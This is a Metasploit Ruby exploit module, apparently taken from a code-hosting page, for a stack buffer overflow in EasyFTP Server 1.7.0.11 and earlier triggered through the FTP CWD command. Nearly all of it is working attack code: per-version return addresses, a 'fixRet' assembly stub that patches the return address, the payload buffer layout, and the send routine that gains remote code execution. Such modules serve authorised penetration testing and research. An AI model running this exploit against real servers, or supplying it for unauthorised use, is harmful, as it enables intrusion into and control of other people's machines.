Path: blob/master/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
32945 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.1117and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which18leads to a stack based buffer overflow. EasyFTP allows anonymous access by19default; valid credentials are typically unnecessary to exploit this vulnerability.2021After version 1.7.0.12, this package was renamed "UplusFtp".2223This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.24This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by25'fixing' the return address post-exploitation. See references for more information.26},27'Author' => [28'Paul Makowski <my.hndl[at]gmail.com>', # original version29'jduck' # various fixes, remove most hardcoded addresses30],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2010-20121' ],34[ 'OSVDB', '62134' ],35[ 'BID', '38262' ],36[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],37[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],38[ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]39],40'Privileged' => false,41'Payload' => {42# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 45043'Space' => 505 - 30 - 25,44'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py45'DisableNops' => true46},47'Platform' => 'win',48'Targets' => [49[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe50[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe51[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe52[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe53[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe54[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe55[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe56[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe57[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe58[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe59],60'DisclosureDate' => '2010-02-16',61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def check72connect73disconnect7475if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes76return Exploit::CheckCode::Detected77end7879return Exploit::CheckCode::Safe80end8182def exploit83connect_login8485# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.86# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/8788# NOTE:89# This exploit jumps to edi, which happens to point at a partial version of90# the 'buf' string in memory. The fixRet below fixes up the code stored on the91# stack and then jumps there to execute the payload. The value in esp is used92# with an offset for the fixup.93fixRet_asm = %q{94mov ecx, 0xdeadbeef95mov edi, esp96sub edi, 0xfffffe1497mov [edi], ecx98add edi, 0xffffff1499jmp edi100}101fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string102103buf = ''104105print_status("Prepending fixRet...")106buf << fixRet107buf << make_nops(0x20 - buf.length)108# buf << "C" * (0x20 - buf.length)109110print_status("Adding the payload...")111buf << payload.encoded112113# Backup the original return address bytes114buf[1, 4] = buf[268, 4]115116print_status("Overwriting part of the payload with target address...")117buf[268, 4] = [target.ret].pack('V') # put return address @ 268 bytes118119# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..120121print_status("Sending exploit buffer...")122send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string123124handler125disconnect126end127end128129130